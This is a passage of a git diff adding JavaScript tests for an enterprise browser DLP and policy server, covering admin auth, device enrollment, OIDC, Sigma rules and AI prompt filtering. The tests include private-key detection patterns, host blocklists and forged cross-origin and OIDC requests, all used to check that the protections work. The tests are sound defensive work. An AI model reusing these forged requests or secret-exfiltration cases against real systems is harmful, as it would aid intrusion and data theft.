derive=(b,token=adminToken)=>fetch(base+'/api/admin/security/visual-reference',{method:'POST',headers:{authorization:`Bearer ${token}`,'content-type':'application/json'},body:JSON.stringify(b)}); + assert.equal((await derive(body,'unauthorized')).status,401);assert.equal((await derive({...body,allowedOrigins:['https://*.example']})).status,400);assert.equal((await derive({...body,data:referencePNG(true).toString('base64')})).status,400);const response=await derive(body);assert.equal(response.status,200);const result=await response.json();assert.match(result.brand.references[0].hash,/^[a-f0-9]{16}$/);assert.deepEqual(result.brand.references[0].viewport,{width:64,height:64});assert.equal(result.quality.contrast>10,true);assert.equal(store.get('policy').version,1);assert.deepEqual(store.get('policy').security.visualPhishing.brands,[]); + const values=store.db.prepare('SELECT value FROM settings').all().map(r=>r.value).join('')+store.db.prepare('SELECT metadata FROM events').all().map(r=>r.metadata).join('');assert.equal(values.includes(data),false);assert.equal(store.db.prepare('SELECT count(*) AS n FROM teaching').get().n,0); + const policy=store.get('policy');policy.version=2;policy.security.visualPhishing={enabled:true,failClosed:true,brands:[result.brand]};const published=await fetch(base+'/api/admin/policy',{method:'PUT',headers:{authorization:`Bearer ${adminToken}`,'content-type':'application/json'},body:JSON.stringify(policy)});assert.equal(published.status,200);assert.equal(store.get('policy').security.visualPhishing.brands[0].id,'corporate-login'); +}); +test('fragment fingerprints catch partial document excerpts across capitalization',()=>{ + const source='The secret engineering roadmap describes eight amazing new confidential customer features tomorrow';const value=[...fragmentHashes(source)][1];const p=defaultPolicy();p.dlp.rules=[{id:'excerpt',label:'Private',kind:'fragment-sha256',value,action:'block'}]; + assert.equal(inspect(Buffer.from(source.toUpperCase()+' additional public text'),p).decision,'block');assert.equal(inspect(Buffer.from('unrelated public information'),p).decision,'allow'); +}); +test('confidential local AI override preserves ordinary DLP and never permits credentials',()=>{ + const p=defaultPolicy();p.ai={...p.ai,enabled:true,allowConfidentialLocal:true,trustMode:'external'};p.dlp.rules=[{id:'company-roadmap',label:'Roadmap',kind:'literal',value:'confidential roadmap',action:'block'}];const content=Buffer.from('confidential roadmap');assert.equal(inspectForAI(content,p).decision,'block');p.ai.trustMode='local';assert.deepEqual(inspectForAI(content,p),{decision:'allow',ruleId:'company-roadmap',classification:'local-only'});assert.equal(inspect(content,p).decision,'block');assert.equal(inspectForAI(Buffer.from('confidential roadmap -----BEGIN PRIVATE KEY-----'),p).ruleId,'private-key');p.security.content.blockedPhrases=['confidential roadmap'];assert.equal(inspectForAI(content,p).decision,'block'); +}); +test('restricted Sigma rejects unsupported syntax and matches metadata only',()=>{ + const p=defaultPolicy();const rule={id:'block-alert',title:'Blocked upload',level:'high',detection:{selection:{kind:'dlp.block',ruleId:'secret'},condition:'selection'}};p.security.sigma.rules=[rule];assert.equal(PolicySchema.safeParse(p).success,true); + assert.equal(evaluateSigma({kind:'dlp.block',metadata:{ruleId:'secret',prompt:'not inspected'}},[rule]).length,1);rule.detection.selection={};assert.equal(PolicySchema.safeParse(p).success,false);rule.detection.condition='selection or all of them';assert.equal(PolicySchema.safeParse(p).success,false); +}); +test('authenticated blocklist publishing versions signed policy and teaching requires approval',async t=>{ + const dir=mkdtempSync(join(tmpdir(),'security-')),store=openStore(dir),adminToken='unit-test-secure-admin-token-at-least-32-chars';const app=createApp(store,{adminToken,publicUrl:'http://127.0.0.1:4310',secure:false});const server=app.listen(0,'127.0.0.1');await new Promise(r=>server.on('listening',r));const base=`http://127.0.0.1:${server.address().port}`; + t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});}); + const update=(body,authorized=true)=>fetch(base+'/api/admin/security/blocklists',{method:'PUT',headers:{'content-type':'application/json',...(authorized?{authorization:`Bearer ${adminToken}`}:{})},body:JSON.stringify(body)}); + const body={expectedVersion:1,blockedHosts:['bad.test'],blockedIPs:['127.0.0.2']};assert.equal((await update(body,false)).status,401);assert.equal((await update({...body,blockedIPs:['bad']})).status,400);assert.equal((await update(body)).status,200);assert.equal(store.get('policy').version,2);assert.equal((await update(body)).status,409); + store.db.prepare('INSERT INTO teaching VALUES(?,?,?,?,?,?,?,?)').run('draft','now','owner','Secret','draft',JSON.stringify({sha256:'a'.repeat(64),fragmentHashes:[],registrationReady:true}),null,null); + const promote=b=>fetch(base+'/api/admin/teaching/draft/publish',{method:'POST',headers:{'content-type':'application/json',authorization:`Bearer ${adminToken}`},body:JSON.stringify(b)}); + assert.equal((await promote({expectedVersion:2,approve:false})).status,400);assert.equal((await promote({expectedVersion:2,approve:true})).status,200);assert.equal(store.get('policy').dlp.rules[0].value,'a'.repeat(64));assert.equal((await promote({expectedVersion:3,approve:true})).status,404); + store.db.prepare('INSERT INTO teaching VALUES(?,?,?,?,?,?,?,?)').run('partial','now','owner','Office partial','draft',JSON.stringify({sha256:'b'.repeat(64),fragmentHashes:['c'.repeat(64)],registrationReady:false,coverage:{complete:false}}),null,null); + const partial=b=>fetch(base+'/api/admin/teaching/partial/publish',{method:'POST',headers:{'content-type':'application/json',authorization:`Bearer ${adminToken}`},body:JSON.stringify(b)}); + assert.equal((await partial({expectedVersion:3,approve:true})).status,409);const promoted=await partial({expectedVersion:3,approve:true,mode:'available-fingerprints'});assert.equal(promoted.status,200);assert.equal((await promoted.json()).coverage,'partial');const final=store.get('policy');assert.equal(final.dlp.rules.length,3);assert.equal(final.dlp.rules[0].value,'a'.repeat(64));assert.equal(final.dlp.rules[2].kind,'fragment-sha256');assert.equal(store.db.prepare("SELECT metadata FROM events WHERE kind='teaching.approved' ORDER BY id DESC LIMIT 1").get().metadata.includes('partial'),true); +}); +test('existing old policy settings normalize missing security fields without data loss',()=>{ + const dir=mkdtempSync(join(tmpdir(),'security-upgrade-')),store=openStore(dir);try{const old=defaultPolicy();delete old.security;delete old.agents;old.ai={enabled:false,model:''};store.put('policy',old);const updated=store.get('policy');assert.equal(updated.agents.enabled,false);assert.deepEqual(updated.security.dns.blockedHosts,[]);assert.equal(updated.version,old.version);assert.equal(updated.ai.provider,'openai-compatible');}finally{store.db.close();rmSync(dir,{recursive:true,force:true});} +}); +test('per-browser signed manual scan controls preserve mandatory protection and training stores derived metadata only',async t=>{ + const raw='confidential full document sentinel must not persist',data=Buffer.from(raw).toString('base64');const inspector=createServer((req,res)=>{assert.equal(req.url,'/reference-document');assert.equal(req.headers.authorization,'Bearer private-inspector-test-token');res.setHeader('content-type','application/json');res.end(JSON.stringify({sha256:'d'.repeat(64),bytes:raw.length,contentType:'text',fragmentHashes:['e'.repeat(64)],registrationReady:true,coverage:{complete:true,textCharacters:raw.length,rawText:raw,fragmentHashesTotal:1010,fragmentHashesRetained:1000,fragmentHashesTruncated:true,extractionComplete:true,featuresComplete:false},data,text:raw}));});inspector.listen(0,'127.0.0.1');await new Promise(r=>inspector.on('listening',r)); + const dir=mkdtempSync(join(tmpdir(),'security-manual-')),store=openStore(dir),adminToken='administrator-credential-at-least-thirty-two-characters';const server=createApp(store,{adminToken,publicUrl:'http://127.0.0.1:4310',secure:false,inspectorUrl:`http://127.0.0.1:${inspector.address().port}`,inspectorToken:'private-inspector-test-token'}).listen(0,'127.0.0.1');await new Promise(r=>server.on('listening',r)); + t.after(async()=>{await Promise.all([new Promise(r=>server.close(r)),new Promise(r=>inspector.close(r))]);store.db.close();rmSync(dir,{recursive:true,force:true});}); + const base=`http://127.0.0.1:${server.address().port}`;async function api(path,body,method=body?'POST':'GET',credential=adminToken){return fetch(base+path,{method,headers:{authorization:`Bearer ${credential}`,...(body?{'content-type':'application/json'}:{})},body:body?JSON.stringify(body):undefined});} + const enrollment=async name=>{const code=(await(await api('/api/admin/enrollments',{user:name})).json()).code;return(await api('/api/device/enroll',{code,name,platform:'win32'})).json();};const a=await enrollment('A'),b=await enrollment('B');assert.equal(verifyPolicy(a.policy,a.publicKey).inspection.documentAnalysisEnabled,true); + const setting={expectedVersion:1,documentAnalysisEnabled:false};assert.equal((await api(`/api/admin/devices/${a.id}/inspection`,setting,'PATCH',a.token)).status,401);assert.equal((await api(`/api/admin/devices/${a.id}/inspection`,setting,'PATCH')).status,200); + const pa=verifyPolicy(await(await api('/api/device/policy',undefined,'GET',a.token)).json(),a.publicKey),pb=verifyPolicy(await(await api('/api/device/policy',undefined,'GET',b.token)).json(),b.publicKey);assert.equal(pa.version,2);assert.equal(pa.inspection.documentAnalysisEnabled,false);assert.equal(pb.inspection.documentAnalysisEnabled,true);assert.equal(pa.dlp.blockUninspectable,true);assert.deepEqual(pa.security.yara,pb.security.yara);assert.equal((await api(`/api/admin/devices/${a.id}/inspection`,setting,'PATCH')).status,409); + const response=await api('/api/admin/teaching',{label:'Reference',filename:'reference.txt',data});assert.equal(response.status,200);const stored=store.db.prepare('SELECT reference FROM teaching').get().reference;assert.equal(stored.includes(raw),false);assert.equal(stored.includes(data),false);assert.equal(stored.includes('rawText'),false);assert.equal(stored.includes('sha256'),true);const coverage=JSON.parse(stored).coverage;assert.equal(coverage.fragmentHashesTotal,1010);assert.equal(coverage.fragmentHashesRetained,1000);assert.equal(coverage.fragmentHashesTruncated,true);assert.equal(coverage.extractionComplete,true);assert.equal(coverage.featuresComplete,false);assert.equal(store.db.prepare('SELECT metadata FROM events').all().some(e=>e.metadata.includes(raw)||e.metadata.includes(data)),false); +}); +test('local Ollama needs no API key, blocks secrets before provider, and Sigma alerts exclude raw content',async t=>{ + let calls=0;const model=createServer((req,res)=>{calls++;assert.equal(req.url,'/api/chat');assert.equal(req.headers.authorization,undefined);res.setHeader('content-type','application/json');res.end(JSON.stringify({message:{content:'Local answer'}}));});model.listen(0,'127.0.0.1');await new Promise(r=>model.on('listening',r)); + const dir=mkdtempSync(join(tmpdir(),'security-ai-')),store=openStore(dir),p=defaultPolicy();p.ai={enabled:true,model:'local-model',provider:'ollama',trustMode:'local',endpointId:'default'};p.security.sigma.rules=[{id:'agent-denials',title:'Agent blocked',level:'high',detection:{selection:{kind:'agent.denied'},condition:'selection'}}];store.put('policy',p); + const token='enrolled-device-test-credential';const {digest}=await import('../apps/server/store.mjs');store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash,last_seen) VALUES(?,?,?,?,?,?)').run('device','Test','win32','alice',digest(token),'now'); + const config={adminToken:'administrator-token-at-least-thirty-two-characters',publicUrl:'http://127.0.0.1:4310',secure:false,aiBaseUrl:`http://127.0.0.1:${model.address().port}`,aiModel:'local-model'};const server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.on('listening',r)); + t.after(async()=>{await Promise.all([new Promise(r=>server.close(r)),new Promise(r=>model.close(r))]);store.db.close();rmSync(dir,{recursive:true,force:true});}); + const send=(path,body)=>fetch(`http://127.0.0.1:${server.address().port}${path}`,{method:'POST',headers:{authorization:`Bearer ${token}`,'content-type':'application/json'},body:JSON.stringify(body)}); + const answer=await send('/api/device/ai',{prompt:'Hello local model'});assert.equal(answer.status,200);assert.equal((await answer.json()).answer,'Local answer');assert.equal(calls,1); + assert.equal((await send('/api/device/ai',{prompt:'-----BEGIN PRIVATE KEY-----'})).status,403);assert.equal(calls,1); + p.dlp.rules=[{id:'company-roadmap',label:'Roadmap',kind:'literal',value:'confidential roadmap',action:'block'}];store.put('policy',p);assert.equal((await send('/api/device/ai',{prompt:'confidential roadmap'})).status,403);assert.equal(calls,1); + p.ai.allowConfidentialLocal=true;store.put('policy',p);assert.equal((await send('/api/device/ai',{prompt:'confidential roadmap'})).status,200);assert.equal(calls,2);assert.equal((await send('/api/device/ai',{prompt:'confidential roadmap -----BEGIN PRIVATE KEY-----'})).status,403);assert.equal(calls,2); + const allowed=store.db.prepare("SELECT metadata FROM events WHERE kind='ai.decision' ORDER BY id DESC").all().map(v=>JSON.parse(v.metadata)).find(v=>v.classification==='local-only');assert.equal(allowed.ruleId,'company-roadmap');assert.equal(allowed.decision,'allow'); + config.aiBaseUrl='http://192.0.2.1';assert.equal((await send('/api/device/ai',{prompt:'confidential roadmap'})).status,500);assert.equal(calls,2); + assert.equal((await send('/api/device/events',{eventId:randomUUID(),kind:'agent.denied',ruleId:'agent:read:blocked',policyVersion:1})).status,200);assert.equal(store.db.prepare('SELECT count(*) AS n FROM alerts').get().n,1); + for(const extra of [{username:'alice'},{password:'private'},{credentialId:'identifier'},{host:'login.example'},{ruleId:'credential-id'}])assert.equal((await send('/api/device/events',{eventId:randomUUID(),kind:'vault.fill-requested',policyVersion:1,...extra})).status,400); + for(const kind of ['vault.created','vault.unlocked','vault.locked','vault.saved','vault.deleted','vault.filled','vault.fill-requested'])assert.equal((await send('/api/device/events',{eventId:randomUUID(),kind,policyVersion:1})).status,200); + for(const kind of ['clipboard.copy','clipboard.cut','clipboard.paste','clipboard.block']){assert.equal((await send('/api/device/events',{eventId:randomUUID(),kind,policyVersion:1,ruleId:'clipboard-test'})).status,200);for(const extra of [{text:'private clipboard sentinel'},{clipboard:'private clipboard sentinel'},{password:'private clipboard sentinel'}])assert.equal((await send('/api/device/events',{eventId:randomUUID(),kind,policyVersion:1,...extra})).status,400);} + const audit=store.db.prepare('SELECT metadata FROM events').all().map(v=>v.metadata).join('');assert.equal(audit.includes('Hello local model'),false);assert.equal(audit.includes('BEGIN PRIVATE KEY'),false);assert.equal(audit.includes('private clipboard sentinel'),false); +}); + + diff --git a/tests/semantic.test.mjs b/tests/semantic.test.mjs new file mode 100644 index 0000000..9ed7a60 --- /dev/null +++ b/tests/semantic.test.mjs @@ -0,0 +1,43 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { defaultPolicy,PolicySchema } from '../packages/core/policy.mjs'; +import { defaultSemantic,EmbeddingReferenceSchema,SEMANTIC_ARTIFACT } from '../packages/core/semantic.mjs'; +import { openStore } from '../apps/server/store.mjs'; +import { createApp } from '../apps/server/app.mjs'; +import { createServer } from 'node:http'; +import { mkdtempSync,rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +const revision='bfcd298762cc34d0357ece5ebdd31791a3a374d8',vector=(index=0)=>Array.from({length:768},(_,i)=>i===index?1:0); +function enabledPolicy(){const p=defaultPolicy();p.dlp.semantic={...defaultSemantic(),enabled:true,revision,categories:[{id:'internal',label:'Internal',threshold:0.8,prototype:vector(),prototypes:[vector(),vector(1)]}]};return p;} +const reference=()=>({model:'google/embeddinggemma-2',revision,dimensions:768,profile:'document-v1',...SEMANTIC_ARTIFACT,local:true,vector:vector(),vectors:[vector(),vector(1)],coverage:{complete:true,extractionComplete:true,textChunks:2}}); +test('semantic policy binds the real model, exact revision, dimensions, preprocessing and runtime artifact',()=>{ + const p=enabledPolicy();assert.equal(PolicySchema.safeParse(p).success,true);for(const change of [{model:'unapproved-model'},{revision:'main'},{revision:'A'.repeat(40)},{revision:''},{dimensions:256},{profile:'query-v1'},{artifactFormat:'onnx'},{quantization:'Q4_0'},{runtimeRevision:'unverified'}])assert.equal(PolicySchema.safeParse({...p,dlp:{...p.dlp,semantic:{...p.dlp.semantic,...change}}}).success,false); + for(const threshold of [0,-0.01,1.01]){const invalid=structuredClone(p);invalid.dlp.semantic.categories[0].threshold=threshold;assert.equal(PolicySchema.safeParse(invalid).success,false);} +}); +test('semantic prototypes reject wrong dimensions, nonfinite, zero, unnormalized and excessive vectors',()=>{ + const p=enabledPolicy();for(const bad of [vector().slice(1),Array(768).fill(0),[NaN,...vector().slice(1)],[Infinity,...vector().slice(1)],[1e300,...vector().slice(1)],Array(768).fill(1)]){const candidate=structuredClone(p);candidate.dlp.semantic.categories[0].prototype=bad;assert.equal(PolicySchema.safeParse(candidate).success,false);} + p.dlp.semantic.categories[0].prototypes=Array.from({length:65},()=>vector());assert.equal(PolicySchema.safeParse(p).success,false);p.dlp.semantic.categories=Array.from({length:5},(_,i)=>({id:`category-${i}`,label:'Category',threshold:0.8,prototype:vector(),prototypes:Array.from({length:64},()=>vector())}));assert.equal(PolicySchema.safeParse(p).success,false); + const large=defaultPolicy();large.security.yara.rules=Array.from({length:30},(_,i)=>({id:`yara-${i}`,name:'Large rule',source:'x'.repeat(65536)}));assert.equal(PolicySchema.safeParse(large).success,false); +}); +test('disabled legacy semantic configuration migrates safely but active unprofiled references fail closed',()=>{ + const inactive=defaultPolicy();inactive.dlp.rules=[{id:'keep',label:'Keep',kind:'literal',value:'Secret Roadmap',action:'block'}];inactive.dlp.semantic={enabled:false,model:'google/embeddinggemma-2',revision:'legacy-unpinned',categories:[]};const migrated=PolicySchema.parse(inactive);assert.deepEqual(migrated.dlp.semantic,defaultSemantic());assert.equal(migrated.dlp.rules[0].id,'keep');const active=enabledPolicy();delete active.dlp.semantic.profile;assert.equal(PolicySchema.safeParse(active).success,false); +}); +test('reference vectors require complete typed provenance and bounded aligned chunks',()=>{ + assert.equal(EmbeddingReferenceSchema.safeParse(reference()).success,true);for(const change of [{dimensions:512},{local:false},{revision:'latest'},{vectors:[]},{vectors:Array.from({length:65},()=>vector())},{vector:Array(768).fill(0)},{text:'raw content not permitted'}])assert.equal(EmbeddingReferenceSchema.safeParse({...reference(),...change}).success,false);assert.equal(EmbeddingReferenceSchema.safeParse({...reference(),coverage:{complete:true,extractionComplete:true,textChunks:1}}).success,false); +}); +test('native runtime diagnostics are typed features and media frames can supply multiple vectors',()=>{ + const native={...reference(),backend:'native-gguf',device:'cpu',modalities:['text','image','audio'],coverage:{complete:true,extractionComplete:true,textChunks:0,mediaItems:1}};assert.equal(EmbeddingReferenceSchema.safeParse(native).success,true);assert.equal(EmbeddingReferenceSchema.safeParse({...native,device:'cloud'}).success,false);assert.equal(EmbeddingReferenceSchema.safeParse({...native,modalities:['video']}).success,false);assert.equal(EmbeddingReferenceSchema.safeParse({...native,coverage:{...native.coverage,mediaItems:3}}).success,false); +}); +test('central semantic document teaching retains no source and incomplete coverage cannot create a reference',async t=>{ + let result=reference();const provider=createServer((req,res)=>{assert.equal(req.url,'/embed');assert.equal(req.headers.authorization,'Bearer private-inspector');res.setHeader('content-type','application/json');res.end(JSON.stringify(result));});provider.listen(0,'127.0.0.1');await new Promise(r=>provider.on('listening',r));const directory=mkdtempSync(join(tmpdir(),'semantic-features-')),store=openStore(directory),adminToken='administrator-token-at-least-thirty-two-characters';const server=createApp(store,{adminToken,publicUrl:'http://127.0.0.1:4310',secure:false,inspectorUrl:`http://127.0.0.1:${provider.address().port}`,inspectorToken:'private-inspector'}).listen(0,'127.0.0.1');await new Promise(r=>server.on('listening',r)); + t.after(async()=>{await Promise.all([new Promise(r=>server.close(r)),new Promise(r=>provider.close(r))]);store.db.close();rmSync(directory,{recursive:true,force:true});});const base=`http://127.0.0.1:${server.address().port}`,raw='Confidential full source document sentinel never retained',data=Buffer.from(raw).toString('base64');const submit=()=>fetch(base+'/api/admin/semantic/document-reference',{method:'POST',headers:{authorization:`Bearer ${adminToken}`,'content-type':'application/json'},body:JSON.stringify({data,filename:'reference.txt'})}); + const ok=await submit();assert.equal(ok.status,200);assert.equal((await ok.json()).vectors.length,2);assert.equal(store.get('policy').dlp.semantic.enabled,false);assert.equal(store.db.prepare('SELECT count(*) AS n FROM teaching').get().n,0); + const retained=store.db.prepare('SELECT value FROM settings').all().map(r=>r.value).join('')+store.db.prepare('SELECT metadata FROM events').all().map(r=>r.metadata).join('');assert.equal(retained.includes(raw),false);assert.equal(retained.includes(data),false);assert.equal(retained.includes('prototype'),false); + result={...reference(),coverage:{complete:false,extractionComplete:true,textChunks:2}};assert.equal((await submit()).status,409); +}); +test('active legacy policy remains unsigned until an administrator explicitly repairs and publishes it',async t=>{ + const directory=mkdtempSync(join(tmpdir(),'semantic-migration-'));let store=openStore(directory);const legacy=enabledPolicy();delete legacy.dlp.semantic.profile;store.put('policy',legacy);store.db.close();store=openStore(directory);assert.throws(()=>store.envelope());assert.equal(store.getRaw('policy').dlp.semantic.enabled,true);const adminToken='administrator-token-at-least-thirty-two-characters',server=createApp(store,{adminToken,publicUrl:'http://127.0.0.1:4310',secure:false}).listen(0,'127.0.0.1');await new Promise(r=>server.on('listening',r)); + t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(directory,{recursive:true,force:true});});const base=`http://127.0.0.1:${server.address().port}`,overview=await(await fetch(base+'/api/admin/overview',{headers:{authorization:`Bearer ${adminToken}`}})).json();assert.equal(overview.migrationRequired,true);assert.equal(overview.policy.dlp.semantic.enabled,false);assert.equal(store.getRaw('policy').dlp.semantic.enabled,true); + const repaired=enabledPolicy();repaired.version=legacy.version+1;const response=await fetch(base+'/api/admin/policy',{method:'PUT',headers:{authorization:`Bearer ${adminToken}`,'content-type':'application/json'},body:JSON.stringify(repaired)});assert.equal(response.status,200);assert.equal(store.get('policy').dlp.semantic.enabled,true);assert.ok(store.envelope().signature); +}); diff --git a/tests/server.test.mjs b/tests/server.test.mjs new file mode 100644 index 0000000..2565398 --- /dev/null +++ b/tests/server.test.mjs @@ -0,0 +1,209 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { mkdtempSync, rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { createApp } from '../apps/server/app.mjs'; +import { openStore } from '../apps/server/store.mjs'; +import { verifyPolicy } from '../packages/core/policy.mjs'; +import { generateKeyPair,exportJWK,SignJWT } from 'jose'; +import { createHash,randomUUID } from 'node:crypto'; +import {digest} from '../apps/server/store.mjs'; +import {adminRoutePermission,principalForGroups} from '../apps/server/admin-access.mjs'; +async function fixture(t,extra={}){ + const dir=mkdtempSync(join(tmpdir(),'safetynet-test-')),store=openStore(dir),adminToken='test-only-administrator-credential-123456789'; + const config={adminToken,publicUrl:'http://127.0.0.1:4310',secure:false,oidcAdminGroup:'admins',oidcGroupsClaim:'groups',...extra}; + const server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(resolve=>server.on('listening',resolve)); + const base=`http://127.0.0.1:${server.address().port}`; + t.after(async()=>{await new Promise(resolve=>server.close(resolve));store.db.close();rmSync(dir,{recursive:true,force:true});}); + async function api(route,{body,token=adminToken,method=body?'POST':'GET',headers={}}={}){const response=await fetch(base+route,{method,headers:{...(token?{authorization:`Bearer ${token}`}:{ }),...(body?{'content-type':'application/json'}:{}),...headers},body:body?JSON.stringify(body):undefined});return {status:response.status,body:await response.json()};} + return {api,store,base,config}; +} +test('authenticated devices behind corporate NAT have separate quotas and fake tokens cannot bypass IP limits',async t=>{ + const f=await fixture(t),devices=[]; + for(const user of ['a','b']){const code=(await f.api('/api/admin/enrollments',{body:{user}})).body.code;devices.push((await f.api('/api/device/enroll',{body:{name:user,platform:'win32',code},token:null})).body);} + for(let n=0;n<180;n++)for(const device of devices)assert.equal((await f.api('/api/device/heartbeat',{token:device.token,body:{policyVersion:1}})).status,200); + let limited=false;for(let n=0;n<305;n++){const result=await f.api('/api/device/heartbeat',{token:'invalid-public-token-'+String(n).padStart(20,'0'),body:{policyVersion:1}});assert.ok([401,429].includes(result.status));if(result.status===429)limited=true;} + assert.equal(limited,true);assert.equal((await f.api('/api/device/heartbeat',{token:devices[0].token,body:{policyVersion:1}})).status,200);assert.equal((await f.api('/api/admin/overview')).status,200); +}); +test('administration requires auth and rejects cross-origin changes',async t=>{ + const {api}=await fixture(t);assert.equal((await api('/api/admin/overview',{token:null})).status,401); + assert.equal((await api('/api/admin/enrollments',{body:{user:'alice'},headers:{origin:'https://evil.example'}})).status,403); + assert.equal((await api('/api/admin/overview')).status,200); +}); +test('enrollment codes are one-use, signed policy works and revocation denies access',async t=>{ + const {api}=await fixture(t); + const code=(await api('/api/admin/enrollments',{body:{user:'alice'}})).body.code; + const body={code,name:'Alice laptop',platform:'linux'}; + const enrollment=await api('/api/device/enroll',{body,token:null});assert.equal(enrollment.status,200); + const d=enrollment.body;assert.equal(verifyPolicy(d.policy,d.publicKey).version,1); + assert.equal((await api('/api/device/enroll',{body,token:null})).status,401); + assert.equal((await api('/api/device/policy',{token:d.token})).status,200); + assert.equal((await api('/api/device/heartbeat',{token:d.token,body:{policyVersion:1}})).status,200); + assert.equal((await api(`/api/admin/devices/${d.id}/revoke`,{body:{}})).status,200); + assert.equal((await api('/api/device/policy',{token:d.token})).status,401); +}); +test('policy publication detects conflicts and records actor without content',async t=>{ + const {api}=await fixture(t);const original=(await api('/api/admin/overview')).body.policy; + const p=structuredClone(original);p.version=2;p.brand.name='Acme Browser';p.proxy={mode:'fixed_servers',rules:'proxy.example:8080',bypass:'*.example'}; + assert.equal((await api('/api/admin/policy',{method:'PUT',body:p})).status,200); + assert.equal((await api('/api/admin/policy',{method:'PUT',body:p})).status,409); + const overview=(await api('/api/admin/overview')).body;assert.equal(overview.policy.brand.name,'Acme Browser'); + assert.equal(overview.events[0].kind,'policy.published');assert.equal(overview.events[0].metadata.actor,'bootstrap-admin'); +}); +test('administrator remotely changes signed settings and enrolled users cannot publish overrides',async t=>{ + const {api}=await fixture(t); + const code=(await api('/api/admin/enrollments',{body:{user:'managed-user'}})).body.code; + const device=(await api('/api/device/enroll',{token:null,body:{code,name:'Managed Windows',platform:'win32'}})).body; + const p=(await api('/api/admin/overview')).body.policy;p.version++; + p.browser.settings={visible:false,hiddenSections:['passwords','agents'],lockedSections:['appearance'],appearance:{mode:'dark',accent:'violet',tabMode:'compact'}}; + assert.equal((await api('/api/admin/policy',{method:'PUT',body:p,token:device.token})).status,401); + assert.equal((await api('/api/admin/policy',{method:'PUT',body:p})).status,200); + const delivered=verifyPolicy((await api('/api/device/policy',{token:device.token})).body,device.publicKey,2); + assert.deepEqual(delivered.browser.settings,p.browser.settings); + const invalid=structuredClone(p);invalid.version++;invalid.browser.settings.hiddenSections=['unknown']; + assert.equal((await api('/api/admin/policy',{method:'PUT',body:invalid})).status,400); + assert.equal((await api('/api/admin/overview')).body.policy.version,2); +}); +test('policy teaching test blocks matching text and rejects arbitrary telemetry payloads',async t=>{ + const {api}=await fixture(t);const p=(await api('/api/admin/overview')).body.policy; + p.dlp.rules=[{id:'secret',label:'Secret',kind:'literal',value:'Secret Roadmap',action:'block'}]; + const verdict=await api('/api/admin/policy/test',{body:{text:'Send Secret Roadmap to AI',policy:p}});assert.equal(verdict.body.decision,'block'); + const code=(await api('/api/admin/enrollments',{body:{user:'bob'}})).body.code; + const d=(await api('/api/device/enroll',{token:null,body:{code,name:'Bob',platform:'win32'}})).body; + assert.equal((await api('/api/device/events',{token:d.token,body:{kind:'dlp.block',policyVersion:1,prompt:'must not be logged'}})).status,400); + assert.equal((await api('/api/device/ai',{token:d.token,body:{prompt:'hello'}})).status,409); +}); +test('SSO remains unavailable until configured; callback cannot bypass state validation',async t=>{ + const {api,base}=await fixture(t); + assert.equal((await api('/api/device/sso/start',{body:{},token:null})).status,409); + const response=await fetch(`${base}/auth/callback?state=forged&code=forged`);assert.equal(response.status,400); +}); +async function oidcFixture(t,groups,extra={}){ + const {privateKey,publicKey}=await generateKeyPair('RS256'),jwk={...await exportJWK(publicKey),kid:'test-key'}; + let nonce='',challenge='',badNonce=false; + const oidcIssuer='https://id.example.test'; + const oidcFetch=async(url,options)=>{ + const u=String(url); + if(u.endsWith('/.well-known/openid-configuration'))return Response.json({issuer:oidcIssuer,authorization_endpoint:oidcIssuer+'/authorize',token_endpoint:oidcIssuer+'/token',jwks_uri:oidcIssuer+'/keys'}); + if(u.endsWith('/keys'))return Response.json({keys:[jwk]}); + if(u.endsWith('/token')){ + const body=new URLSearchParams(options.body);assert.equal(createHash('sha256').update(body.get('code_verifier')).digest('base64url'),challenge); + const jwt=await new SignJWT({nonce:badNonce?'wrong':nonce,groups,name:'Alice'}).setProtectedHeader({alg:'RS256',kid:'test-key'}).setIssuer(oidcIssuer).setAudience('test-client').setSubject('alice').setIssuedAt().setExpirationTime('5m').sign(privateKey); + return Response.json({id_token:jwt}); + }throw Error('Unexpected OIDC request'); + }; + const f=await fixture(t,{oidcIssuer,oidcClientId:'test-client',oidcFetch,oidcDeviceGroup:'employees',onError:e=>{if(process.env.DEBUG_TEST_AUTH)console.error(e);},...extra}); + async function login(ticket=''){ + const r=await fetch(f.base+'/auth/login'+(ticket?'?ticket='+ticket:''),{redirect:'manual'});assert.equal(r.status,302); + const url=new URL(r.headers.get('location'));nonce=url.searchParams.get('nonce');challenge=url.searchParams.get('code_challenge'); + const cookie=r.headers.get('set-cookie').split(';')[0]; + return fetch(f.base+`/auth/callback?state=${url.searchParams.get('state')}&code=test-code`,{redirect:'manual',headers:{cookie}}); + } + return {...f,login,wrongNonce:()=>{badNonce=true;}}; +} +test('OIDC validates signed identities and administrator group; session authorizes console',async t=>{ + const f=await oidcFixture(t,['admins','employees']);const callback=await f.login();assert.equal(callback.status,302); + const cookie=callback.headers.getSetCookie().find(v=>v.startsWith('sn_session=')).split(';')[0]; + const r=await fetch(f.base+'/api/admin/overview',{headers:{cookie}});assert.equal(r.status,200);assert.equal((await r.json()).principal.sub,'alice'); +}); +test('OIDC rejects non-admin console access and incorrect nonce',async t=>{ + const f=await oidcFixture(t,['employees']);assert.equal((await f.login()).status,403);f.wrongNonce();assert.equal((await f.login()).status,500); +}); + +test('OIDC signed management groups create operator and auditor sessions without policy publication rights',async t=>{ + for(const role of ['operator','auditor']){ + const f=await oidcFixture(t,[role+'s'],{oidcOperatorGroup:'operators',oidcAuditorGroup:'auditors'}),callback=await f.login(); + assert.equal(callback.status,302); + const cookie=callback.headers.getSetCookie().find(v=>v.startsWith('sn_session=')).split(';')[0]; + const session=await fetch(f.base+'/api/admin/session',{headers:{cookie}});assert.equal(session.status,200); + const principal=(await session.json()).principal;assert.equal(principal.role,role);assert.equal(principal.admin,false);assert.equal(principal.permissions.includes('policy.write'),false); + const result=await f.api('/api/admin/policy',{token:null,method:'PUT',body:{version:2},headers:{cookie,origin:f.config.publicUrl}});assert.equal(result.status,403); + assert.equal(f.store.get('policy').version,1); + } +}); + +test('auditor authorization denies every mutation, personal bookmark review and unknown routes before handlers',async t=>{ 